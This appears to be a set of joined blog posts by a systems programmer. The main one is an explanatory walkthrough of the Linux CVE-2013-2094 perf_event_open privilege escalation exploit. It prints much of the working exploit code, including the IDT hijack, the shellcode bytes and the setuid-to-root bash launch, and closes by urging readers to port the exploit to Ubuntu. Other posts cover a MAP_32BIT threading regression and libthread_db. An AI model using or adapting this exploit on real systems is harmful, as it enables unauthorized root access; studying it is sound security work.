text:
Available for consulting projects
I am happy to announce that I have launched my consulting company: Sassano Systems and am now available for consulting projects.
If you have something that is slow, acting weird, or needs to be redesigned I can help.
My specialties are systems programming, debugging, and performance analysis. I build, maintain, and refactor anything written in C. I find and fix extremely elusive bugs in kernels, drivers, and system libraries. I tweak applications, operating systems, and drivers to get better performance.
Previous work
I've worked on a wide range of projects from unraveling and understanding recent Linux kernel exploits, to maintaining and extending widely used tracing tools, and even writing drivers to help test networking code. I've diagnosed tricky bugs in the Ruby MRI 1.8 virtual machine. I wrote a Ruby MRI 1.8 memory profiler that works by rewriting the Ruby virtual machine while it is running.
I've given talks in the US and internationally about some of the weird things I've seen inside of computers.
- C, x86 assembly, x86_64 assembly
- Performance analysis, debugging
- Kernels, drivers, debuggers, linkers, loaders, boot loaders
- Build toolchains, cross platform build systems
To get more information about my rates or how I can help, check out my website at: http://sassanosystems.com.
A closer look at a recent privilege escalation bug in Linux (CVE-2013-2094)
If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. This exploit affects CentOS 5 and 6 as well as other Linux distributions. Linux kernel version 2.6.37 to 3.8.9 are affected by this exploit. I will explain this exploit from the kernel side and the userland side to help readers get a better understanding of how exactly it works.
I did not write the original exploit and I did not discover this vulnerability. Full credit goes to the original author of the exploit. I don't do computer security in any professional capacity, but I do think unraveling exploits is fun and interesting.
First, let's start with some helpful background information about a few different things and then I'll tie them all together at the end to walk through the exploit itself.
and MAP_FIXED
seems to come up quite a bit in my blog posts. If you've never used it before, it is a system call that allows you to map regions of memory into your process' address space.
can take a wide variety of flags. One useful flag is MAP_FIXED
. This flag allows you to ask mmap
to create a region of memory in your process' address space starting at a specific address. Of course, this request may fail if another mapping is already present at the address you specify.
The syscall
wrapper function
Not every system call supported by the Linux kernel has a corresponding wrapper function in glibc
(or other library). There are many reasons why this can happen. Sometimes, a new version of a Linux distribution is cut before glibc
has been updated to support the new kernel interface. Other times, the glibc
team decides for whatever reason that a particular kernel feature will not have a corresponding userland wrapper function exposed.
If you need to call a particular system call for which no wrapper exists in glibc
, you can use the generic function syscall
works by allowing the programmer to pass in an arbitrary syscall number and an arbitrary set of arguments that will get passed over to the kernel. Sometimes, you can find a symbolic constant for the syscall number of the syscall you'd like to call in the unistd.h
file for your system architecture.
On 64-bit CentOS 6, the header file /usr/include/asm/unistd_64.h
contains lots of useful symbolic constants. For example, the constant for the syscall number for getpid
looks something like this:
#define __NR_getpid 39
Interrupt Descriptor Table and sidt
I've written about the interrupt descriptor table (IDT) a few times before, but all you really need to know is that the IDT is essentially an array of structures that the CPU uses to determine what action to take when an exception or interrupt is raised on the system.
A register called the IDTR
on x86 and x86_64 processors stores a structure which describes the length and starting address of the IDT. The format of the data in this register when the CPU is in 64-bit mode can be represented by the following packed structure in C:
/* 64bit IDTR structure */ struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idtr;
The value of this register can be stored or loaded with the sidt
and lidt
instructions, respectively.
The instruction to load a value into the IDTR
, lidt
, may only be executed by privileged code (in our case, this means kernel code).
The instruction to store the value in the IDTR
, sidt
may be executed by unprivileged code (in our case, this means userland).
The entries in the IDT
array have the following format when the CPU is in 64-bit mode1 :
Rewriting the semtex exploit to make it a bit more clear
I decided to rearrange the original exploit by adding white space, renaming functions, adding lots of comments, and moving some stuff around. I did this to help make the C code a bit more understandable to a beginner.
You can get the rewritten code from github here.
Linux kernel performance monitoring interface
The Linux kernel provides a set of system calls for performance monitoring. Some of the information about the low level interfaces provided by the kernel can be found here.
In particular, the function perf_event_open
can be called by userland code to obtain a file descriptor which allows a program to gather performance information. perf_event_open
can eventually call perf_swevent_init
which is an internal kernel function that is called when a user program is attempting to initialize a software defined event.
Buggy increment in the kernel
Let's take a look at the structure definition for the first argument to the perf_event_open
function, struct perf_event_attr
struct perf_event_attr { /* * Major type: hardware/software/tracepoint/etc. */ __u32 type; /* * Size of the attr structure, for fwd/bwd compat. */ __u32 size; /* * Type specific configuration information. */ __u64 config; /* ... */
Notice that the field config
is defined as a 64-bit unsigned integer.
Now let's take a look at how perf_swevent_init
uses the config
static int perf_swevent_init(struct perf_event *event) { int event_id = event->attr.config; /* ... */ if (event_id >= PERF_COUNT_SW_MAX) return -ENOENT; /* ... */ atomic_inc(&perf_swevent_enabled[event_id]); /* ... */
This looks bad because the unsigned 64-bit config
field is being cast to a signed 32-bit integer. That value is then used as an index to an array called perf_swevent_enabled
And, so:
- The user supplies a value for
which has (at least) the 31st bit set to1
. - This value is truncated to 32-bits and stored as
. - The
statement checksevent_id
(which is9
on CentOS 6 kernel2.6.32-358.el6.x86_64
) to ensure thatevent_id
is less thanPERF_COUNT_SW_MAX
. Any negative number will be, so execution continues. - The value in
is sign extended to 64-bits and then used as an offset into theperf_swevent_enabled
array. - Thus, any value interpreted as negative from
will cause the kernel to callatomic_inc
on a memory address that a user program can control.
Buggy decrement in the kernel
Let's now examine the code which is executed when the file descriptor is closed:
static void sw_perf_event_destroy(struct perf_event *event) { u64 event_id = event->attr.config; /* ... */ atomic_dec(&perf_swevent_enabled[event_id]); /* ... */
This code is interesting because here the value in config
is stored as an unsigned 64-bit value and used as an index into perf_swevent_enabled
. This code path assumes that the open code path examined above will reject anyone with a config value that is too large.
However, as we saw above, if the user had successfully called perf_event_open
with a large 64-bit unsigned value (which was interpreted as a 32-bit negative number) then the close code path will incorrectly offset from the perf_swevent_enabled
with a large 64-bit unsigned value.
This allows a user program to cause the kernel to decrement an address that the userland program can control.
Exploit summary
Before I dig into the exploit, let's take a step back and summarize what this exploit will do:
- An initial memory region is allocated with
and is used to determine where buggy increments and decrements will land when offset fromperf_swevent_enabled
. - A memory region is allocated where a NOP sled, a small piece of shellcode, and the malicious C code is copied.
- The malicious code is rewritten at runtime to fill in values for the process' uid and gid as well as the address of the upper 32-bits of the IDT handler for interrupt
. - The upper 32-bits of IDT handler for interrupt
are incremented by crafting a precise value forperf_event_open
. - Interrupt
is triggered which executes the shell code and malicious code. The malicious code overwrites the uids and gids as well as the capability sets for the current process. - Once the interrupt handler returns and the exploit continues, it calls
to become root and then executes abash
shell as root. - Crazy shit.
The exploit will use these buggy increment and decrement paths to force the kernel to eventually transfer execution to a known userland address that contains malicious code which elevates the credentials of the process allowing it to execute a shell as root.
A wrapper function for calling perf_event_open
The exploit contains a function called sheep
which uses syscall
(as described above) to call perf_event_open
. I've renamed sheep
in my rewrite to break_perf_event_open
and rearranged the code to look like this:
static void break_perf_event_open (uint32_t off) { struct perf_event_attr pea = { .type = PERF_TYPE_SOFTWARE, .size = sizeof(struct perf_event_attr), .config = off, .mmap = 1, .freq = 1, }; /* * there is no wrapper for perf_event_open in glibc (on CentOS 6, at least), * so you need to use syscall(2) to call it. * * I copied the arguments out of the kernel (with the kernel explanation of * some of them) here for convenience. */ int fd = syscall(__NR_perf_event_open, &pea, /* struct perf_event_attr __user *attr_uptr */ 0, /* pid_t pid (target pid) */ -1, /* int cpu (target cpu) */ -1, /* int group_fd (group leader fd) */ 0); /* unsigned long flags */ if (fd < 0) { perror("perf_event_open"); exit(EXIT_FAILURE); } if (close(fd) != 0) { perror("close"); exit(EXIT_FAILURE); } return; }
Setting up an initial memory region with mmap
map = mmap((void *) 0x380000000, 0x010000000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
The exploit begins by first creation a memory region with mmap
at the address 0x380000000
for a length of 0x010000000
bytes (256 MB).
The address 0x380000000
was chosen because:
- The address of the
array is0xffffffff81f360c0
. - If the user passes -1 as
then the offset into the array in the close path will be:0xffffffffffffffff * 4
(multiply by 4 we are doing pointer arithmetic on an array ofint
s). - Thus, a decrement will be performed at the address:
for aconfig
value of-1
. - Similarly, a decrement will be performed at the address:
for aconfig
value of-2
Thus, a region starting at 0x380000000
and extending until 0x390000000
will contain the address that the kernel will write to when decrementing the -1
and -2
offsets of perf_swevent_enabled
The exploit then fills this memory region with 0s and calls a function called sheep
in the original exploit (aka break_perf_event_open
in my rewrite):
memset(map, 0, SIZE); break_perf_event_open(-1); break_perf_event_open(-2);
After the above exploit code executes an increment and decrement are performed in the kernel. The decrement lands somewhere on in the memory region allocated above.
Find the offset into the memory region where the write occurred
The exploit continues by iterating over the memory region to find where the decrement landed:
/* this for loop corresponds with lines 66-69 of the original exploit */ for (i = 0; i < SIZE/4; i++) { uint32_t *tmp = map + i; /* * check if map[i] (aka tmp) is non zero. * also check if map[i+1] (aka tmp+1) is non zero. * * if both are non zero that means our calls above * break_perf_event_open(-1) and break_perf_event_open(-2) have * scribbled over memory this process allocated with mmap. */ if (*tmp && *(tmp + 1)) { break; } }
Retrieving the value of the IDTR
and creating another memory region
The exploit continues by:
- Retrieving the value stored in the
- Masking the upper 32 bits and the lower 24 bits of the 64-bit
base address away - Allocating a memory region starting at the adjusted address
/* this instruction and the subsequent mask correspond to lines 71-72 in * the original exploit. */ asm volatile ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; /* allocate KSIZE bytes at address kbase */ code = mmap((void *) kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
This is the memory region to which the kernel will transfer control. I will explain soon how execution will be transferred to this address and why the 0xff000000
bitmask was applied.
Preparing the target memory region
The exploit now prepares the memory region:
- The memory region is filled with the value
which is the opcode for the NOP instruction (See the wikipedia page about the NOP sled for more information). - The malicious code from the function
(renamed tofix_idt_and_overwrite_creds
) is copied into the memory region after a healthy sized NOP sled. - A small shellcode stub (that we will examine shortly) is prepared and copied into the memory region just before the malicious code.
/* * fill the region of memory we just mapped with 0x90 which is the x86 * NOP instruction. */ memset(code, 0x90, KSIZE); /* move the code pointer up to the start of the last 1024 bytes of the * mapped region. * * this leaves (32 megabytes - 1024 bytes) of NOP instructions in * memory. */ code += (KSIZE-1024); /* copy the code for the function above to the memory region */ memcpy(code, &fix_idt_and_overwrite_creds, 1024); /* copy our shell code just before the code above */ memcpy(code - shellcode_sz, shellcode, shellcode_sz);
A closer look at the malicious code
Before we can examine the rest of the exploit, we'll first need to understand the malicious code that is copied into the memory region.
The malicious code, originally called fuck
, but renamed to fix_idt_and_overwrite_creds
has a few goals:
- Restore as much of the overwritten kernel data as possible or at least enough for the kernel to continue (mostly) working.
- Find the kernel data structure that lives at the start of the kernel stack. This is a
struct thread_info
. - Find the pointer in
struct thread_info
to the currentstruct task_struct
. This should be easy once thestruct thread_info
is located, as it is the first field instruct thread_info
. - Find the
struct cred
pointer in the currentstruct task_struct
. - Overwrite the various uids and gids as well as the kernel_cap_t fields.
The original exploit code for this is a bit painful to read. In my rewritten exploit I added a lot of comments to the code to help explain how each of these goals is accomplished.
Take a look at the code here.
Cleaning up after itself
One of the first things that fuck
(aka fix_idt_and_overwrite_creds
) does is fix the upper 32-bits of the IDT handler offset for software interrupt 4
, by doing this:
/* This marker will eventually be replaced by the address of the upper 32-bits * of the IDT handler address we are overwiting. * * Thus, the write on the following line to -1 will restore the original value * of the IDT entry which we will overwrite */ uint32_t *fixptr = (void*) GENERATE_MARKER(1); *fixptr = -1;
Locating the uids and gids
The most interesting part of this malicious code (for me, at least) is how exactly it locates the uids and gids that need to be overwritten.
You'll notice that in the main
function of the exploit, the exploit has the following code:
/* get the current userid and groupids */ u = getuid(); g = getgid(); /* set all user ids and group ids to be the same, this will help find this * process' credential structure later. */ setresuid(u, u, u); setresgid(g, g, g);
This code ensures that all the uids and gids are set to the current uid and gid. This is done so that the malicious code that executes later can search memory for a sequence of uids and gids and "know" that it has found the right place to begin overwriting data.
Another interesting thing to note about the malicious code is that it gets modified at runtime after it has been copied to the memory region described above.
Rewriting parts of the malicious code at runtime
The malicious code needs to be overwritten at runtime after it has been copied to the memory region to which control will be transfered for two main reasons:
- At compile time the process' uid and gid may not be known.
- At compile time the address of any overwritten kernel state my not be known. As we will soon see, this overwritten state is part of the
handler offset for a particular software interrupt.
In order to accomplish these goals, you will notice that the fuck
function (or fix_idt_and_overwrite_creds
) has a series of "markers" in place:
/* create a few markers which will be filled in with the * ((group id << 32) | user id) later by the exploit. */ uint64_t uids[4] = { GENERATE_MARKER(2), GENERATE_MARKER(3), GENERATE_MARKER(4), GENERATE_MARKER(5) }; /* ... */ uint32_t *fixptr = (void*) GENERATE_MARKER(1);
These values are simply unique enough bit patterns that can be located later and overwritten.
The main
function of the exploit takes care of that by doing this:
for (j = 5; j > 0; j--) { /* generate marker values */ needle = GENERATE_MARKER(j); /* find marker values in the malicious code copied to our memory * region */ p = memmem(code, 1024, &needle, 8); if (!p) { fprintf(stderr, "couldn't find the marker values (this is" "bad)\n"); break; } if (j > 1) { /* marker values [2 - 5] will be replaced with the uid/gid of this process */ *p = ((g << 32) | u); } else { /* marker value 1 will be replaced with the offset of the IDT handler we will * highjack. this address will be used to restore the overwritten state later. */ *p = idt.addr + 0x48; } }
Incrementing the address of an IDT handler
Now, everything is in place. It is time for the exploit to connect all the pieces together before triggering the malicious code and executing a root shell.
The last piece of the puzzle was pretty interesting for me as this was my first time seeing this attack vector, but after I understood what was happening and did some googling I located a phrack article from 2007 that explains this attack vector.
This exploit works by incrementing the upper 32-bits of a 64-bit IDT entry's handler offset (check the screenshot from the Intel manual above). The IDT entry for the overflow exception was chosen, software interrupt 4
, because it is not particularly important and can be temporarily "borrowed" by this exploit.
Since the overflow exception's handler is located in kernel memory, the upper 32-bits of the 64-bit handler offset are 0xffffffff
. Incrementing 0xffffffff
causes an overflow to 0x00000000
and thus the 64-bit IDT handler's offset goes from 0xffffffff[lower 32bits]
to 0x00000000[lower 32bits]
Or in other words, changing the top 32-bits of the address to 0
changes the address from a location in kernel memory to a location that can be mapped with mmap
and MAP_FIXED
This is why the IDT's base address was masked earlier in the exploit like this:
/* * the "sidt" instruction retrieves the base Interrupt Descriptor Table * * this instruction and the subsequent mask correspond to lines 71-72 in * the original exploit. */ asm volatile ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000;
The actual increment happens when the following code executes:
break_perf_event_open(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
This code is just doing some tricky arithmetic to calculate the value that must be passed to the buggy kernel increment path in order to increment the upper 32-bits of the 64-bit IDT handler for software interrupt 4
Triggering the exploit
Now that everything is hooked in, triggering the exploit is simple:
/* * trigger the highjacked interrupt handler */ asm volatile("int $0x4");
This raises the interrupt causing the CPU to transfer control to the (modified) IDT handler address which is actually just the memory region we created above and copied NOP
s, shellcode, and malicious C code into.
After the NOP
s execute, the shellcode executes:
static char shellcode[] = "\x0f\x01\xf8" /* swapgs */ "\xe8\x05\x0\x0\x0" /* callq* (this callq transfers * exeuction to after this piece * of shell code where the * fix_idt_and_overwrite_creds * function will live */ "\x0f\x01\xf8" /* swapgs */ "\x48\xcf"; /* iretq$ */
This shell code:
- Swaps in a stored value for the
register, which the kernel needs for accessing internal data. - Transfers control to our malicious C code (
, akafix_idt_and_overwrite_creds
). - After the malicious C code returns, the shellcode continues by swapping the
register back out. - And finally, it returns to userland with
Dat root shell
After the above code executes, the malicious code has been triggered, the uid and gid of the process as well as the capability set have been overwritten. The process can now change its uid to root and execute a shell as root:
/* * at this point we should be able to set the userid of this process to * 0. */ if (setuid(0) != 0) { perror("setuid"); exit(EXIT_FAILURE); } /* * launch bash as uid 0 */ return execl("/bin/bash", "-sh", NULL);
Easily one of the most insane exploits I've seen, but that isn't saying much since I don't look at exploits all that often.
Exercise for the reader
Now that you know how this exploit works, go make it work on a 64-bit Ubuntu. No, seriously, do it.
- Dealing with integers in C code is tricky. Be careful and get people to review your code.
- Hijacking IDT entries to scan kernel memory to find and overwrite kernel data structures to elevate privileges of a user process so it can then execute a bash shell as root is pretty nuts.
is actually much more useful than I had previously imagined.- Hijacking IDT entries to scan kernel memory to find and overwrite kernel data structures to elevate privileges of a user process so it can then execute a bash shell as root is pretty nuts.
- Reading exploit code is fun and interesting. You should do it more often than you probably do right now.
- I'm tired from writing this much.
If you enjoyed this article, subscribe (via RSS or e-mail) and follow me on twitter.
- Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3A: System Programming Guide, Part 1, 5.1: Interrupt and Exception Overview [↩]
- /usr/include/linux/perf_event.h line 198 [↩]
Digging out the craziest bug you never heard about from 2008: a linux threading regression
If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
This blog post will show how a fix for XFree86 and linuxthreads ended up causing a major threading regression about 7 years after the fix was created.
The regression was in pthread_create
. Thread creation performed very slowly as the number of threads in a process increased. This bug is present on CentOS 5.3 (and earlier) and other linux distros as well.
It is also very possible that this bug impacted research done before August 15, 2008 (in the best case because Linux distro releases are slow) on building high performance threaded applications.
Digging this thing out was definitely one of the more interesting bug hunts in recent memory.
Hopefully, my long (and insane) story will encourage you to thoroughly investigate suspicious sources of performance degradation before applying the "[thing] is slow" label.
[thing] might be slow, but it may be useful to understand why.
This blog post will be talking about:
glibc 2.7
. Earlier versions are probably affected, but you will need to go look and see for sure.- Linux kernels earlier than
. Some linux distributions will backport fixes, so it is possible you could be running an earlier kernel version, but without the bug described below. You will need to go look and see for sure.
Linux's mmap
and MAP_32BIT
is a system call that a program can use to map regions of memory into its address space. mmap
can be used to map files into RAM and to share these mappings with other processes. mmap
is also used by memory allocators to obtain large regions of memory that can be carved up and handed out to a program.
On June 29, 2001, Andi Kleen added a flag to Linux's mmap
called MAP_32BIT
. This commit message reads in part1:
This adds a new mmap flag to force mappings into the low 32bit address space.
Useful e.g. for XFree86′s ELF loader or linuxthreads' thread local
data structures.
As Kleen mentions, XFree86 has its own ELF loader that appears to have been released as part of the 4.0.1 release back in 2000. The purpose of this ELF loader is to allow loadable module support for XFree86 even on systems that don't necessarily have support for loadable modules. Another interesting side effect of the decision to include an ELF loader is that loadable modules can be built once and then reused on any system that XFree86 supports without recompiling the module source.
It appears that Kleen added MAP_32BIT
to allow programs (like XFree86) which assumed mmap
would always return 32-bit addresses to continue to work properly as 64-bit processors were beginning to enter the market.
Then, on November 11, 2002, Egbert Eich added some code to XFree86 to actually use the MAP_32BIT
flag, the commit message says:
532. Fixed module loader to map memory in the low 32bit address space on
x86-64 (Egbert Eich).
Thus, 64-bit XFree86 builds would now have a working ELF loader since those builds would be able to get memory with 32-bit addresses.
I will touch on the threading implications mentioned in Kleen's commit message a bit later.
ELF small code execution model and a tweak to MAP_32BIT
The AMD64 ABI lists several different code models which differ in addressing, code size, data size, and address range.
Specifically, the spec defines something called the small code model.
The small code model is defined such that that all symbols are known to be located in the range from 0 to 0x7EFFFFFF (among other things that are way beyond the scope of this blogpost).
In order to support this code execution model, Kleen added a small tweak to MAP_32BIT
to limit the range of addresses that mmap
would return in order to support the small code execution model.
Unfortunately, I have not been able to track down the exact commit with Kleen's commit message (if there was one), but it occurred sometime between November 28, 2002 (kernel 2.4.20) and June 13, 2003 (kernel 2.4.21).
I did find what looks like a merge commit or something. It shows the code Kleen added and a useful comment explaining why the address range was being limited:
+ } else if (flags & MAP_32BIT) { + /* This is usually used needed to map code in small + model: it needs to be in the first 31bit. Limit it + to that. This means we need to move the unmapped + base down for this case. This may give conflicts + with the heap, but we assume that malloc falls back + to mmap. Give it 1GB of playground for now. -AK */ + if (!addr) + addr = 0x40000000; + end = 0x80000000;
Unfortunately, now the flag's name MAP_32BIT
is inaccurate.
The range has been limited to a single gigabyte from 0x40000000
(1gb) – 0x80000000
(2gb). This is good enough for the ELF small code model mentioned above, but this means any memory successfully mapped with MAP_32BIT
is actually mapped within the first 31 bits and thus this flag should probably be called MAP_31BIT
or something else that more accurately describes its behavior.
pthread_create and thread stacks
When you create a thread using pthread_create
there are two ways to allocate a region of memory for that thread to use as its stack:
- Allow
to allocate the stack itself. You do this by simply callingpthread_create
. This is the common case for most programs. Usepthread_attr_getstacksize
to get and set the stack size.
- A three step process:
- Allocate a region of memory possibly with
(which may just callmmap
for large allocations), or statically. - Use
to set the address and size of the stack in a pthread attribute object. - Pass said attribute object along to
and the thread which is created will have your memory region set as its stack.
- Allocate a region of memory possibly with
Slow context switches, glibc, thread local storage, … wow …
A lot of really crazy shit happened in 2003, so I will try my best to split into digestible chunks.
Slow context switching on AMD k8
On February 12, 2003, it was reported that early AMD P4 CPUs were very slow when executing the wrmsr
instruction. This instruction is used to write to model specific registers (MSRs). This instruction was used a few times in context switch code and removing it would help speed up context switch time. This code was refactored, but the data gathered here would be used as a justification for using MAP_32BIT
in glibc a few months later.
MAP_32BIT being introduced to glibc
On March 4, 2003, it appears that Ulrich Drepper added code to glibc
to use the MAP_32BIT
flag in glibc
. As far as I can tell, this was the first time MAP_32BIT
was introduced to glibc
2 .
An interesting comment is presented with a small piece of the patch:
+/* For Linux/x86-64 we have one extra requirement: the stack must be + in the first 4GB. Otherwise the segment register base address is + not wide enough. */ +#define EXTRA_PARAM_CHECKS \ + if ((uintptr_t) stackaddr > 0x100000000ul \ + || (uintptr_t) stackaddr + stacksize > 0x100000000ul) \ + /* We cannot handle that stack address. */ \ + return EINVAL
To understand this comment it is important to understand how Linux deals with thread local storage.
- Each thread has a thread control block (TCB) that contains various internal information that
needs, including some data that can be used to access thread local storage. - The TCB is written to the start of the thread stack by
. - The address of the TCB (and thus the thread stack) needs to be stored in such a way that
, code generated bygcc
, and the kernel can access the thread control block of the currently running thread. In other words, it needs to be context switch friendly. - The register set of Intel processors is saved and restored each time a context switch occurs.
- Saving the address of the TCB in a register would be ideal.
x86 and x86_64 processors are notorious for not having many registers available, however Linux does not use the FS
and GS
segment selectors for segmentation. So, the address of the TCB can be stored in FS
or GS
if it will fit.
Unfortunately, the segment selectors FS
and GS
can only store 32-bit addresses and this is why Ulrich added the above code. Addresses above 4gb could not be stored in FS
or GS
It appears that this comment is correct for all of the Linux 2.4 series kernels and all Linux 2.5 kernels less than 2.5.65. On these kernel versions, only the segment selector is used for storing the thread stack address and as a result no thread stack above 4gb can be stored.
32-bit and 64-bit thread stacks
Starting with Linux 2.5.65 (and more practically, Linux 2.6.0), support for both 32-bit and 64-bit thread stacks had made its way into the kernel. 32-bit thread stacks would be stored in a segment selector while 64-bit thread stack addresses would be stored in a model specific register (MSR).
Unfortunately, as was reported back in February 12, 2003, writing to MSRs is painfully slow on early AMD K8 processors. To avoid writing to an MSR, you would need to supply a 32-bit thread stack address, and thus Ulrich added the following code to glibc
on May 9, 2003:
+/* We prefer to have the stack allocated in the low 4GB since this + allows faster context switches. */ +#define ARCH_MAP_FLAGS MAP_32BIT + +/* If it is not possible to allocate memory there retry without that + flag. */ +#define ARCH_RETRY_MMAP(size) \ + mmap (NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, \ + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + +
This code is interesting for two reasons:
- The justification for using
has changed from the kernel not supporting addresses above 4gb to decreasing context switch cost. - A retry mechanism is added so that if no memory is available when using
, a thread stack will be allocated somewhere else.
At some unknown (by me) point in 2003, MAP_32BIT
had been sterilized as explained earlier to deal with the ELF small code model in the AMD64 ABI.
The end result being that user programs have only 1gb of space with which to allocate all their thread stacks (or other low memory requested with MAP_32BIT
This seems bad.
Fast forward to 2008: an bug
On August 13, 2008 an individual named "Pardo" from Google posted a message to the Linux kernel mailing list about a regression in pthread_create
mmap() is slow on MAP_32BIT allocation failure, sometimes causing
NPTL's pthread_create() to run about three orders of magnitude slower.
As example, in one case creating new threads goes from about 35,000
cycles up to about 25,000,000 cycles — which is under 100 threads per
Pardo had filled the 1gb region that MAP_32BIT
tries to use for thread stacks causing glibc
to fallback to the retry mechanism that Drepper added back in 2003.
Unfortunately, the failing mmap call with MAP_32BIT
was doing a linear fucking search of all the "low address space" memory regions trying to find a fit before falling back and calling mmap
a second time without MAP_32BIT
And so after a few thousand threads, every new pthread_create
call would trigger two system calls, the first of which would do a linear search of low memory before failing. The linear search and retry dramatically increased the time to create new threads.
This is pretty bad.
bugfixes for the kernel and glibc
So, how does glibc
and the kernel fix this problem?
Ingo Molnar convinced everyone that the best solution was to add a new flag to the Linux kernel called MAP_STACK
. This flag would be defined as "give out an address that is best suited for process/thread stacks". This flag would actually be ignored by the kernel. This change appeared in Linux kernel 2.6.27 and was added on August 13, 2008.
Ulrich Drepper updated glibc
to use MAP_STACK
instead of MAP_32BIT
and he removed the retry mechanism he added in 2003 since MAP_STACK
should always succeed if there is any memory available. This change was added on August 15, 2008.
cannot be removed from the kernel, unfortunately because there are many programs out in the wild (older versions of glibc, Xfree86, older versions of ocamlc) that rely on this flag existing to actually work.
And so, MAP_32BIT
will remain. A misnamed, strange looking wart that will probably be around forever to remind us that computers are hard.
Bad research (or not)?
I recall reading a paper that benchmarked thread creation time from back in the 2005-2008 time period which claimed that as the number of threads increased the time to create new threads also increased and thus, threads were bad.
I can't seem to find that paper and it is currently 3:51 AM PST, so, who knows I could be misremembering things. If some one knows what paper I am talking about, please let me know.
If such a paper exists (and I think it does), this blog post explains why thread creation benchmarks would have resulted in really bad looking graphs.
I really don't even know what to say, but:
- Computers are hard
- Ripping the face off of bugs like this is actually pretty fun
- Be careful when adding linear time searches to potential hot paths
- Make sure to carefully read and consider the effects of low level code
- Git is your friend and you should use it to find data about things from years long gone
- Any complicated application, kernel, or whatever will have a large number of ugly scars and warts that cannot be changed to maintain backward compatibility. Such is life.
If you enjoyed this article, subscribe (via RSS or e-mail) and follow me on twitter.
- http://web.archiveorange.com/archive/v/iv9U0zrDmBRAagTHyhHz [↩]
- The sha for this change is: 0de28d5c71a3b58857642b3d5d804a790d9f6981 for those who are curious to read more. [↩]
realtalk.io: an podcast for technical discussion
James Golick and I have released the inaugural episode of our new, highly technical podcast realtalk.io.
We will be doing frequent technical deep dives and releasing our conversations raw and unedited with all errors, omissions, awkward pauses, and curse words intact.
Notes about an odd, esoteric, yet incredibly useful library: libthread_db
If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
This blog post will examine one of the weirder libraries I've come across: libthread_db
is typically used by debuggers, tracers, and other low level debugging/profiling applications to gather information about the threads in a running target process. Unfortunately, the documentation about how to use this library is a bit lacking and using it is not straightforward at all.
This library is pretty strange and there are several gotchas when trying to write a debugger or tracing program that makes use of the various features libthread_db
Loading the library (and probably failing)
As strange as it may seem to those who haven't used this library before, loading and linking to libthread_db
is not as straight forward as simply adding -lthread_db
to your linker flags.
The key thing to understand is that different target programs may use different threading libraries. Individual threading libraries may or may not have a corresponding libthread_db
that works with a particular threading library, or even with a particular version of a particular threading library.
So until you attach to a target process, you have no idea which of the possibly several libthread_db
libraries on the system you will need to use to gather threading information from a target process.
You don't even know where the corresponding libthread_db
library may live.
So, to load libthread_db
in your debugger/tracer, you must:
- Attach to your target process, usually via
. - Traverse the target process' link map to determine which libraries are currently loaded. Your program should search for the threading library of the process (often
, but maybe your target program uses something else instead). - Once found, your program can search in nearby directories for the location of
. In the most common case, a program will uselibpthread
as its threading library and the correspondinglibthread_db
will be located in the same directory. Of course, you could also allow the user to specify the exact location. - Once found, simply use libdl to
the libary. - If your target process is a linux process which uses
(a common casse),libthread_db
fails to load with libdl. Otherlibthread_db
libraries may or may not load fine.
libthread_db's numerous undefined symbols
If you've followed the above steps to attempt to locate libthread_db
and are targeting a linux process that uses libpthread
, you have now most likely failed to load it due to a number of undefined symbols.
Let's use ldd
to figure out what is going on:
joe@ubuntu:~$ ldd -r /lib/x86_64-linux-gnu/libthread_db.so.1 | grep undefined undefined symbol: ps_pdwrite (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_pglobal_lookup (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_lsetregs (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_getpid (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_lgetfpregs (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_lsetfpregs (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_lgetregs (/lib/x86_64-linux-gnu/libthread_db.so.1) undefined symbol: ps_pdread (/lib/x86_64-linux-gnu/libthread_db.so.1)
Bring your own symbols to this party
will fail to load due to undefined symbols because the library expects your program to provide the implementations of these symbols. Unfortunately, the only way to determine which functions must be implemented is to examine the source code of the libthread_db
implementation(s) you are targeting.
The libthread_db
implementations that come with glibc include a header file named proc_service.h
which list all the functions and prototypes that your program must provide. I've noticed that other libthread_db
implementations also provide a similar header file.
These functions are all very platform specific and to maximize the portability of the various implementations of libthread_db
the implementations are left to the program using libthread_db
In general, your program must provide implementations of:
- Functions to read from and write to the address space of a targeted process. Typically implemented with
. - Functions to read and write the general purpose registers and floating point registers (if there are any). Typically implemented with
. - A function to locate a specified shared object and search that object for a particular symbol. This function is significantly more complex than the other functions. Your program could use something like libbfd or libelf to make locating a library and searching it's symbol tables easier. If you are implementing a debugger or tracer, you likely already have the pieces you need to implement this function.
- A structure
struct ps_prochandle
will pass through to the functions you implemented that are described above. You will place whatever data your functions will need. Typically this is something like apid
that you can pass through toptrace
still fails to load
So, you've implemented the symbols you were required to implement, but you are still unable to load libthread_db
with libdl
because you are getting undefined symbol: ...
Even stranger, you are getting these errors even though you are providing the symbols listed in the error messages!
The problem that you are running into is that the symbols are not being placed into the correct ELF symbol table. When you build an executable with gcc, the exported symbols of the executable are placed in the ELF section named .symtab
. When libthread_db
gets loaded with libdl
, only the symbols in the .dynsym
symbol table are examined to resolve dependencies. Thus, your symbols will not be found and libthread_db
will fail to load.
Why this happens is beyond the scope of this blog post, but I've written about dynamic linking and symbol tables before here and here, if you are curious to learn a bit more.
Use this one weird trick for getting your symbols in the dynamic symbol table
There are actually two ways to make sure your symbols end up in the dynamic symbol table.
The first way to do it is to use the large hammer approach and pass the flag --export-dynamic
to ld
